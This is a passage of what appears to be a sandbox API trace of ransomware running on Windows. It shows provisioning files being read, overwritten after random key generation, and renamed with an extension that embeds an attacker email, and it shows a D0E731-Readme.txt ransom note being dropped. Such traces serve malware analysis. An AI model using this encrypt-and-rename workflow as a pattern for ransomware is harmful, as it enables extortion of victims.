Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" [0085.186] wcscat (in: _Dest=0x33f9688, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" [0085.186] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime\\0__power_energyestimationengine.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime\\0__power_energyestimationengine.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.186] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.186] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f9688) returned 1 [0085.187] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml", dwFileAttributes=0x20) returned 0 [0085.187] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a608 [0085.187] wcscpy (in: _Dest=0x348a608, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\" [0085.187] wcscat (in: _Dest=0x348a608, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.187] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime\\d0e731-readme.txt")) returned 0xffffffff [0085.187] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0085.188] WriteFile (in: hFile=0x2f4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2c23f974, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2c23f974*=0x481, lpOverlapped=0x0) returned 1 [0085.189] CloseHandle (hObject=0x2f4) returned 1 [0085.189] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a608) returned 1 [0085.189] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a5b0) returned 1 [0085.189] RtlExitUserThread (Status=0x1) Thread: id = 1260 os_tid = 0x134c [0085.172] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 0x20 [0085.190] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml", dwFileAttributes=0x20) returned 1 [0085.190] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0085.191] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c2bfbec | out: lpFileSize=0x2c2bfbec*=677) returned 1 [0085.191] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x2a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.191] ReadFile (in: hFile=0x2f4, lpBuffer=0x2c2bfbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c2bfbbc, lpOverlapped=0x0 | out: lpBuffer=0x2c2bfbc0*, lpNumberOfBytesRead=0x2c2bfbbc*=0x4, lpOverlapped=0x0) returned 1 [0085.192] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.192] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492730 [0085.192] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492488 [0085.192] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492578 [0085.192] NtQuerySystemTime (in: CurrentTime=0x2c2bfb98 | out: CurrentTime=0x2c2bfb98*=132121176430860758) returned 0x0 [0085.192] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0xad9c5751 [0085.192] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0x44c2d297 [0085.192] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0xd1a5a2be [0085.192] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0xebe5332f [0085.192] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0xe358f774 [0085.192] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0xbfc0ad8a [0085.192] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0x4295cb36 [0085.192] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0xce93dc03 [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0x469dd74f [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0xbc3ed610 [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0x1220df37 [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0x3ee63b09 [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0xb43587a4 [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0x92ee556 [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0xe45c90f8 [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0xd691e746 [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0xda45d55e [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0x54b7c02c [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0x47f585c0 [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0x6ac67fab [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0x1ad47880 [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0xb61a2ade [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0xe85ac9a2 [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0x97e610ba [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0x1b2aaf16 [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0x5b9330e6 [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0x55dff547 [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0xe18c8a3c [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0x1aade3d1 [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0xe8f0ad61 [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0x65d8027b [0085.193] RtlRandom (in: Seed=0x2c2bfba4 | out: Seed=0x2c2bfba4) returned 0x1a095f84 [0085.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fee0) returned 1 [0085.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492730) returned 1 [0085.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd238 [0085.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347ff58 [0085.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492730 [0085.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492730) returned 1 [0085.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.204] ReadFile (in: hFile=0x2f4, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2a5, lpNumberOfBytesRead=0x2c2bfb98, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2c2bfb98*=0x2a5, lpOverlapped=0x0) returned 1 [0085.204] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2bfb60 | out: lpNewFilePointer=0x0) returned 1 [0085.204] WriteFile (in: hFile=0x2f4, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x2a5, lpNumberOfBytesWritten=0x2c2bfb94, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2c2bfb94*=0x2a5, lpOverlapped=0x0) returned 1 [0085.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492730 [0085.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d988 [0085.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0085.204] WriteFile (in: hFile=0x2f4, lpBuffer=0x3492730*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c2bfb90, lpOverlapped=0x0 | out: lpBuffer=0x3492730*, lpNumberOfBytesWritten=0x2c2bfb90*=0x20, lpOverlapped=0x0) returned 1 [0085.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492730) returned 1 [0085.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ff58) returned 1 [0085.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd238) returned 1 [0085.205] WriteFile (in: hFile=0x2f4, lpBuffer=0x3493310*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c2bfbbc, lpOverlapped=0x0 | out: lpBuffer=0x3493310*, lpNumberOfBytesWritten=0x2c2bfbbc*=0x8, lpOverlapped=0x0) returned 1 [0085.205] WriteFile (in: hFile=0x2f4, lpBuffer=0x2c2bfbd4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c2bfbbc, lpOverlapped=0x0 | out: lpBuffer=0x2c2bfbd4*, lpNumberOfBytesWritten=0x2c2bfbbc*=0x4, lpOverlapped=0x0) returned 1 [0085.205] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c2bfbbc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2c2bfbbc*=0x4, lpOverlapped=0x0) returned 1 [0085.205] WriteFile (in: hFile=0x2f4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c2bfbbc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2c2bfbbc*=0x6c, lpOverlapped=0x0) returned 1 [0085.205] WriteFile (in: hFile=0x2f4, lpBuffer=0x3492488*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c2bfbbc, lpOverlapped=0x0 | out: lpBuffer=0x3492488*, lpNumberOfBytesWritten=0x2c2bfbbc*=0x20, lpOverlapped=0x0) returned 1 [0085.205] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c2bfbbc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2c2bfbbc*=0x4, lpOverlapped=0x0) returned 1 [0085.205] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492488) returned 1 [0085.205] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492820) returned 1 [0085.205] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493310) returned 1 [0085.205] CloseHandle (hObject=0x2f4) returned 1 [0085.205] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14e) returned 0x33f9688 [0085.205] wcscpy (in: _Dest=0x33f9688, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" [0085.205] wcscat (in: _Dest=0x33f9688, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" [0085.205] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime\\0__power_energyestimationengine.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime\\0__power_energyestimationengine.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.206] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.206] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f9688) returned 1 [0085.206] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml", dwFileAttributes=0x20) returned 0 [0085.206] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a608 [0085.206] wcscpy (in: _Dest=0x348a608, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\" [0085.206] wcscat (in: _Dest=0x348a608, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.206] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime\\d0e731-readme.txt")) returned 0xffffffff [0085.207] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0085.207] WriteFile (in: hFile=0x2f4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2c2bfbb8, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2c2bfbb8*=0x481, lpOverlapped=0x0) returned 1 [0085.208] CloseHandle (hObject=0x2f4) returned 1 [0085.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a608) returned 1 [0085.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a498) returned 1 [0085.208] RtlExitUserThread (Status=0x1) Thread: id = 1261 os_tid = 0x1350 [0085.209] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\0__connections_cellular_albanian mobile communications (albania)_i0$(__mvid)@wap.provxml")) returned 0x20 [0086.454] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.470] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\0__connections_cellular_albanian mobile communications (albania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x99c [0086.470] GetFileSizeEx (in: hFile=0x99c, lpFileSize=0x2c33fc5c | out: lpFileSize=0x2c33fc5c*=733) returned 1 [0086.470] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x2d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.470] ReadFile (in: hFile=0x99c, lpBuffer=0x2c33fc30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c33fc2c, lpOverlapped=0x0 | out: lpBuffer=0x2c33fc30*, lpNumberOfBytesRead=0x2c33fc2c*=0x4, lpOverlapped=0x0) returned 1 [0086.472] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.472] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde48 [0086.472] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddf10 [0086.472] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddc68 [0086.472] NtQuerySystemTime (in: CurrentTime=0x2c33fc08 | out: CurrentTime=0x2c33fc08*=132121176443672810) returned 0x0 [0086.472] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0xd5a4687b [0086.472] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0x4b56bef3 [0086.472] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0xe657c447 [0086.472] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0x539e6b0 [0086.472] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0x77ddf90e [0086.472] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0x885b03d4 [0086.472] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0xf2ecd76c [0086.472] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0xac154f83 [0086.472] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0x759700ab [0086.472] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0x5a4d6640 [0086.472] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0xab01c70e [0086.472] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0x652d3d64 [0086.472] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0x4f85b7c [0086.472] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0xc9b200e4 [0086.472] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0xc0c1edf3 [0086.472] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0xb97b7868 [0086.472] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0x920800ad [0086.472] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0x172540e9 [0086.472] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0x719e904b [0086.472] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0x8317fc0a [0086.472] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0xa5abca13 [0086.473] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0xfd9432d0 [0086.473] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0xc85891e1 [0086.473] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0x4058802d [0086.473] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0x960d9fc8 [0086.473] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0xf956c4f5 [0086.473] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0x8b0cc8e9 [0086.473] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0x8ae2f0e9 [0086.473] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0xbc08c879 [0086.473] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0x32386e84 [0086.473] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0xda21fd0a [0086.473] RtlRandom (in: Seed=0x2c33fc14 | out: Seed=0x2c33fc14) returned 0x5d7003cb [0086.484] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0086.484] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde48) returned 1 [0086.484] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0086.484] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0086.484] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde98 [0086.484] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde98) returned 1 [0086.484] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.484] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.484] ReadFile (in: hFile=0x99c, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2dd, lpNumberOfBytesRead=0x2c33fc08, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2c33fc08*=0x2dd, lpOverlapped=0x0) returned 1 [0086.484] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c33fbd0 | out: lpNewFilePointer=0x0) returned 1 [0086.484] WriteFile (in: hFile=0x99c, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2dd, lpNumberOfBytesWritten=0x2c33fc04, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2c33fc04*=0x2dd, lpOverlapped=0x0) 